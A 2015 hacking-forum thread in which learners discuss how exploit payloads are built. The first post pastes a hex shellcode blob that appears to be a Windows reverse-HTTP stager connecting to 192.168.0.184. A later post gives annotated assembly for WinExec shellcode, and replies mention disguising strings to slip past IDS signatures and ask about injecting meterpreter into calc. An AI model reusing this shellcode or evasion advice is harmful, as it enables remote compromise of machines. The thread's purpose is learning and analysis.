vailixi Posted November 30, 2015 Posted November 30, 2015 I don't really understand assembly code but I'm trying to learn it. I was curious is there a way to dump any old binary into a format that I can deliver via metasploit. I haven't really looked at the mechanics of payload delivery but I'm assuming payloads are delivered in a format like this: fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368901f0000e8080100002f586f525f762d445a35485978345444675a37325779417636395562494b706a42506338623968496e516e7861374c515566425465567a4557415a776150506d6d4f6f316c58626e70436573454e67433939596d364853424c335058754a4f3468714c477374656f4468696c79784d53687557393363534346754e622d4249696b38756d00506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c075084f75d9e84a0000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe877ffffff3139322e3136382e302e31383400bbf0b5a2566a0053ffd5 I suppose my question is: How do I go from a binary to this hex format. Is there an easy way to dump the binary into a ready to use assembly instruction set? If so what are the steps? If there's not an easy mode way to do this hypothetically what are the steps. Is it as simple as dumping the bytes into an array and outputing them that way.Can I take the output of objdump, hexdump, or xxd and create this usable byte array or string or whatever. I'm just really not sure where to start. Quote
cooper Posted December 1, 2015 Posted December 1, 2015 Your assumption is flawed. The goal of your exploit is to place binary code on the stack and then jump to it. If you place hex for that binary code on the stack, it just means you need to convert it back to binary before you can jump to it and there's an immensely large chance you simply won't have the space to do this. The reason people try to make an effective payload with as little bytes as possible is because you're overwriting sections of existing memory. The more you overwrite, the higher the chance that you'll modify something you really shouldn't and in the process will just crash. If your payload was 100 bytes, going to hex increases it to 200 bytes and you need to either provide or jump to an existing method that decodes it into a new buffer which needs to come from somewhere too. You're just making it harder and harder and harder on yourself for no reason at all. I think you should start with looking at the exploits themselves and see what they do to deliver a payload, whatever it is. Once you have a solid understanding of the exploit, look at how it jumps into the exploit code and then look at how that exploit code is made. Crawl before you run. Quote
fugu Posted December 2, 2015 Posted December 2, 2015 (edited) I too have been trying to learn asm, analysing old exploits, trying to learn how they work. I have one that is partly analysed which has notes that I've added, from myself and resouces i've found, to help me understand what's going on. I know parts of my notes are already incorrect, and things I thought I understood, when analysed with ollydbg, and not behaving the way that I thought they should behave. But feel free to take a look: ;nasm -f win32 allwin_exec.asm ;/opt/mingw32/bin/i686-w64-mingw32-ld -m i386pe -o allwin_exec.exe allwin_exec.obj ;wine allwin_exec.exe SECTION .bss SECTION .data SECTION .text global _start; global main ; _start _start: ;main: ; _start: cld ; 00000000 FC xor edx,edx ; 00000001 31D2 ;clear ebx mov dl,0x30 ; 00000003 B230 push dword [fs:edx] ; 00000005 64FF32 pop edx ; 00000008 5A ; get a pointer to the PEB in edx mov edx,[edx+0xc] ; 00000009 8B520C ; get PEB->Ldr in edx mov edx,[edx+0x14] ; 0000000C 8B5214 ; get the first module from the InMemoryOrder module list next_mod: mov esi,[edx+0x28] ; 0000000F 8B7228 ; get pointer to modules name (unicode string) xor ecx,ecx ; 00000012 31C9 ; clear ecx mov cl,0x18 ; 00000014 B118 ; load the loop count we want into ecx xor edi,edi ; 00000016 31FF ; clear edi which will store the hash of the module name loop_modname: xor eax,eax ; 00000018 31C0 ; clear eax lodsb ; 0000001A AC ; read in the next byte of the name cmp al,0x61 ; 0000001B 3C61 ; is it 'a'? some versions of Windows use lower case module names jl not_lowercase ; 0000001D 7C02 sub al,0x20 ; 0000001F 2C20 ; not lowercase, change to 'A' not_lowercase: ror edi,0xd ; 00000021 C1CF0D ; rotate right our hash value add edi,eax ; 00000024 01C7 ; add the next byte of the name to the hash loop loop_modname ; 00000026 E2F0 ; loop until we have read enough cmp edi,0x6a4abc5b ; 00000028 81FF5BBC4A6A ; compare the hash with that of KERNEL32.DLL, see py prog below mov ebx,[edx+0x10] ; 0000002E 8B5A10 ; get this module's base address mov edx,[edx] ; 00000031 8B12 ; get the next module jnz next_mod ; 00000033 75DA ; if it doesn't match, process the next module ; when we get here EBX is the kernel32 base. mov edx,[ebx+0x3c] ; 00000035 8B533C add edx,ebx ; 00000038 01DA push dword [edx+0x34] ; 0000003A FF7234 mov edx,[edx+0x78] ; 0000003D 8B5278 add edx,ebx ; 00000040 01DA mov esi,[edx+0x20] ; 00000042 8B7220 add esi,ebx ; 00000045 01DE xor ecx,ecx ; 00000047 31C9 numtwo: ; looks like we are searching for the correct ECX here, possibly an index for the GetProcAddress module? inc ecx ; 00000049 41 ; get next module lodsd ; 0000004A AD ; current module offset is loaded into eax add eax,ebx ; 0000004B 01DE ; add Kernel32 address to offset; Actual Mod Name Address cmp dword [eax],0x50746547 ; 0000004D 813847657450 ; 'GetP' jnz numtwo ; 00000053 75F4 cmp dword [eax+0x4],0x41636f72 ; 00000055 817804726F6341 ; 'rocA' jnz numtwo ; 0000005C 75EB cmp dword [eax+0x8],0x65726464 ; 0000005E 81780864647265 ; 'ddre' -> "GetProcAddress" jnz numtwo ; 00000065 75E2 ; at this point, EAX points to "GetProcAddress" dec ecx ; 00000067 49 mov esi,[edx+0x24] ; 00000068 8B7224 add esi,ebx ; 0000006B 01DE mov cx,[esi+ecx*2] ; 0000006D 668B0C4E mov esi,[edx+0x1c] ; 00000071 8B721C add esi,ebx ; 00000074 01DE mov edx,[esi+ecx*4] ; 00000076 8B148E add edx,ebx ; 00000079 01DA ; edx gets Offset for Kernel32.GetProcAddress push edx ; 0000007B 52 push dword 0x1636578 ; 0000007C 6878656301 ; 'xec\1' dec byte [esp+0x3] ; 00000081 FE4C2403 ; fix the \1 so its \0? push dword 0x456e6957 ; 00000085 6857696E45 ; 'WinE' -> "WinExec\0" push esp ; 0000008A 54 ; pushes the value of esp as it existed before the instruction push ebx ; 0000008B 53 ; add KERNEL32.DLL base to stack? call edx ; 0000008C FFD2 ; calls Kernel32.GetProcAddress ; Kernel32.GetProcAddress("WinExec\0") push byte +0x5 ; 0000008E 6A05 ; shrug?!? jmp short endhere ; 00000090 EB23 ; Load the command address into memory returnhere: call eax ; 00000092 FFD0 ; WinExec("notepad.exe\0"); !!! exithere: push dword 0x01737365 ; 00000094 6865737301 ; 'ess\1' dec byte [esp+0x3] ; 00000099 FE4C2403 ; fix the \1 so its \0? push dword 0x636f7250 ; 0000009D 6850726F63 ; 'Proc' push dword 0x74697845 ; 000000A2 6845786974 ; 'Exit' -> "ExitProcess\0" push esp ; 000000A7 54 ; pushes the value of esp as it existed before the instruction push dword [esp+0x1c] ; 000000A8 FF74241C call dword near [esp+0x1c] ; 000000AC FF54241C push edi ; 000000B0 57 call eax ; 000000B1 FFD0 endhere: call dword returnhere ; 000000B3 E8D8FFFFFF db 'notepad.exe',0 and if you can help me add to this, please feel free to tell me something that is wrong!edit: I forgot to add the python script I had mentioned above, it shows how you get 0x6a4abc5b from KERNEL32.DLL #Python: getting the hash of "KERNEL32.DLL" def shift(x,shift): return ((x>>shift) | (x << (32-shift))) & 0xFFFFFFFF x = "KERNEL32.DLL" print x out = 0 for i in xrange(0,len(x)): out = shift(out,13) + ord(x[i]) out = shift(out,13) #For unicode print "%08x"%out Edited December 3, 2015 by fugu Quote
cooper Posted December 3, 2015 Posted December 3, 2015 All I can tell you is that the goal of a payload is to start something from within another program. In this case that something is notepad but more typically it's a shell. The exploit's goal is to get the other program to start the payload. The payload's goal is to start something actually useful. You can make this as small or as large as you want, but the smaller the payload the easier it is to hide as well as deliver and run, but it can be more readily detected much like virusses used to be. Some IDS scanners will trap on certain sequences in binaries such as the sequence "WinExec" so some bytes of the payload can be sacrificed to obfuscate the code a bit and make it harder for these scanners to detect what's going on. Quote
i8igmac Posted December 3, 2015 Posted December 3, 2015 http://www.backtrack-linux.org/forums/showthread.php?t=14693&page=2&s=a704519a377cf6b968d7d611207d46bd Here is a old thread I started back in 2008. a gentleman by the name of psg2500 provides some incredible instructions for generating a metasploit payload into C and shows how to properly compile and then objdump the file to see its assembly... he runs objdump -d payload.exe Quote
i8igmac Posted December 4, 2015 Posted December 4, 2015 I would like to see more tutorials like the one psg2500 wrote in that thread above. Some one show me how to inject a meterpreter shell into a windows calculator :-) Quote
fugu Posted December 4, 2015 Posted December 4, 2015 he runs objdump -d payload.exe and for those that think AT&T syntax is like nails on a chalkboard, there's objdump -M intel -d payload.exe Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.